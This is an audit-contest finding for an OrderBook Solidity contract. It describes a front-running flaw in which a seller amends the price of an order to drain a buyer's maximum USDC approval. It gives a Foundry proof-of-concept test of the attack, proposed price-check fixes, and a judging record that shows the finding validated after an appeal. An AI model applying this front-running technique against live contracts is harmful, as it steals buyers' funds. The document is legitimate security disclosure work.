OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

H -OrderBook.sol - MEV Attack Through Order Amendment Allows Draining Buyer Funds

Root + Impact

Description

The OrderBook allows buyers to purchase sell orders at a fixed price using USDC. Buyers commonly approve contracts for MAX_UINT256 USDC to avoid repeated approvals, expecting to pay only the order's listed price.

However, sellers can amend their orders at any time, including changing the price. This creates a critical MEV vulnerability where sellers can front-run buy transactions and increase prices to drain buyers' approved USDC balances.

function amendSellOrder(
uint256 _orderId,
uint256 _newAmountToSell,
uint256 _newPriceInUSDC,
uint256 _newDeadlineDuration
) public {
Order storage order = orders[_orderId];
// Validation checks
@> // No protection against front-running price changes
@> order.priceInUSDC = _newPriceInUSDC;
emit OrderAmended(_orderId, _newAmountToSell, _newPriceInUSDC, newDeadlineTimestamp);
}

Risk

Likelihood:

  • Sellers monitor the mempool for incoming buy transactions targeting their orders

  • MAX_UINT256 approvals are standard practice in DeFi for gas efficiency

Impact:

  • Direct theft of buyer funds up to their entire approved USDC balance

  • Buyers have no way to protect themselves once their transaction is submitted

Proof of Concept

This test demonstrates how a malicious seller can exploit MEV to steal funds. The attacker lists at an attractive price (15% below market) to ensure quick buyers, minimizing capital commitment and risk.

function test_MEV_amendOrder_attack() public {
// Market price: 0.01 ETH = $25
// Alice lists at $20 (20% discount) to attract buyers quickly
vm.startPrank(alice);
weth.mint(alice, 1); // Mints 1e18 due to mock multiplying by decimals
weth.approve(address(book), 0.01e18);
uint256 orderId = book.createSellOrder(
address(weth),
0.01e18, // 0.01 WETH (attractive amount)
20e6, // $20 (attractive price)
2 days
);
vm.stopPrank();
// Bob has significant USDC and uses MAX approval (standard practice)
vm.startPrank(bob);
usdc.mint(bob, 10_000); // Mints 10,000e6 due to mock multiplying by decimals
usdc.approve(address(book), type(uint256).max);
// Record Bob's initial WETH balance
uint256 bobInitialWeth = weth.balanceOf(bob);
// Bob sees the discounted order and submits buy transaction
// (In reality this would be in mempool)
// Alice sees Bob's pending transaction and front-runs
vm.startPrank(alice);
book.amendSellOrder(
orderId,
1, // Now only 1 wei of WETH (worthless)
10_000e6, // NEW PRICE: Bob's entire balance
2 days
);
vm.stopPrank();
// Bob's transaction executes at the inflated price
vm.prank(bob);
book.buyOrder(orderId);
// Results: Alice turned 1 wei of WETH (worthless) into $9,700
assertEq(usdc.balanceOf(alice), 9_700e6); // $10,000 - 3% fee
assertEq(usdc.balanceOf(bob), 0); // Bob lost everything
assertEq(weth.balanceOf(bob), bobInitialWeth + 1); // Bob got 1 wei of WETH (worthless)
}

Recommended Mitigation

Implement price protection through either exact price commitment or slippage tolerance:

Option 1: Exact Price Commitment

- function buyOrder(uint256 _orderId) public {
+ function buyOrder(uint256 _orderId, uint256 _expectedPrice) public {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
+ if (order.priceInUSDC != _expectedPrice) revert PriceChanged();
// ... rest of function
}

Option 2: Slippage Protection (More User-Friendly)

+ uint256 public constant DEFAULT_SLIPPAGE = 100; // 1% default slippage
+
- function buyOrder(uint256 _orderId) public {
+ function buyOrder(uint256 _orderId, uint256 _maxPrice) internal {
Order storage order = orders[_orderId];
// Validation checks
if (order.seller == address(0)) revert OrderNotFound();
if (!order.isActive) revert OrderNotActive();
if (block.timestamp >= order.deadlineTimestamp) revert OrderExpired();
+ if (order.priceInUSDC > _maxPrice) revert PriceToleranceExceeded();
// ... rest of function
}
+ function buyOrderWithSlippage(uint256 _orderId) public {
+ Order storage order = orders[_orderId];
+ uint256 maxPrice = order.priceInUSDC + (order.priceInUSDC * DEFAULT_SLIPPAGE) / 10000;
+ buyOrder(_orderId, maxPrice);
+ }

Both approaches prevent MEV attacks by ensuring buyers don't pay more than expected. Option 2 provides better UX by allowing small price variations while preventing large MEV exploits.

Updates

Lead Judging Commences

yeahchibyke Lead Judge
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Appeal created

0xrektified Submitter
about 1 month ago
yeahchibyke Lead Judge
about 1 month ago
0xrektified Submitter
about 1 month ago
yeahchibyke Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

Buy orders can be front-run and amended maliciously

A malicious seller can front-run a buy order for their order, and decrease the amount of assets to be sold. If the price is unchanged, the buy transaction fulfills, but the buyer gets lesser amount than expected.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.